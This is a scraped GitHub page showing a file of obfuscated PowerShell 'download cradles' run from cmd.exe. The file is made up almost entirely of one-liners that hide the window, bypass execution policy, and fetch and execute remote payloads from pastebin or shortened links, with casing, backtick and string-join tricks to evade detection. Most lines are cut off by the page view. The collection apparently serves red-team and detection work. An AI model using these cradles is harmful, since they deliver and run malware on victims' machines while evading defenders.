



Sign in

VirtualAllocEx / Payload-Download-Cradles

Public

Notifications

Fork 51

Star 257

<> Code

Issues 1

Pull requests

Actions

Projects

Security

Insights

Payload-Download-Cradles / Download-Cradles.cmd

...



26 lines (21 loc) · 3.55 KB

Code

Blame

Raw



```
1 # Not proxy aware download cradles, which can be executed in a Windows Command Shell (cmd.exe)
2 # Windows Command Shell download cradles, not proxy aware lightly obfuscated
3 cmd> c:\Windows\system32\cmd.exe /c PowerShell -noprofi -EXe byPAsS -wiNDowsTy HIDDEN -cOMM
4 cmd> PoWErSheLl -nopROfi -EXe byPAsS -wiNDowsTy HIDDEN -cOMMA "IEX (New-Object Net.Webclient)
5 cmd> POWErshell -NoPROfi -WiNDowSTYL hidd -EXecUTiOnPO BYpASS -cO "i`EX ( new-o`BJE`cT N`ET.`
6
7 # Windows Command Shell download cradles, not proxy aware obfuscated
8 cmd> c:\windows\system32\cmd /c pOWErshell -WiNDOW HIDDEN -eXECUTI BYpaSS -nop -CoMmand "(M
9 cmd> pOWErshell -WiNDOW HIDDEN -eXECUTI BYpaSS -nop -CoMmand "(New-Object Net.WebClient).Dowr
10 cmd> POWErShell -NopROFi -wIN hidd -EXECutiOnPoLiC BYPaSS -COM "$url='https://pastebin.com/raw/
11 cmd> POWErShell -W hId -eXECuTionpoLiC BYPaSS -NOpRoFile -cOMMA "$url='https://pastebin.com/r
12 cmd> POWErSheLl -cO "&([String]'.Normalize)[23,15,46]-Join')((([Char[]](New-Object Net.WebClie
13 cmd> POWErSHELL -ComMA "i`Ex ( nE`w-`ObJect Ne`T.WEBCL`ient ).`DowNlo`Ads`TRI`NG\"( \"ht\"+
14
15
16 # Proxy aware download cradles, which can be executed in a Windows Command Shell (cmd.exe)
17 # Info: I use a shortcut link to the raw link from your hosted payload on Github
18 # For example, https://cutt.ly/syFzILH directs to the raw link of hosted payload on github
19
20 # Windows Command Shell download cradles, proxy aware lightly obfuscated
21 cmd> c:\Windows\system32\cmd /cPowErShell -wiNDowstYL Hi -nop -eXecU ByPaSS -COM "$c=new-obj
22 cmd> PowErShell -wiNDowstYL Hi -nop -eXecU BYPaSS -COM "$c=new-object net.webclient;$c.proxy=[
23
24 # Windows Command Shell download cradles, proxy aware heavy obfuscated
25 cmd> C:\WINDOWS\SysteM32\CmD.Exe /cpOWershEl1 -eXecut byPaSS -Noprof -w H -Co "$c=new-object
```

```
26 cmd> powershell -eXecUT byPAss -WINDo 1 -nOpR -coMm "& ((vARiaBlE '*mdr*').Name[3,11,2]-JoiN'')
```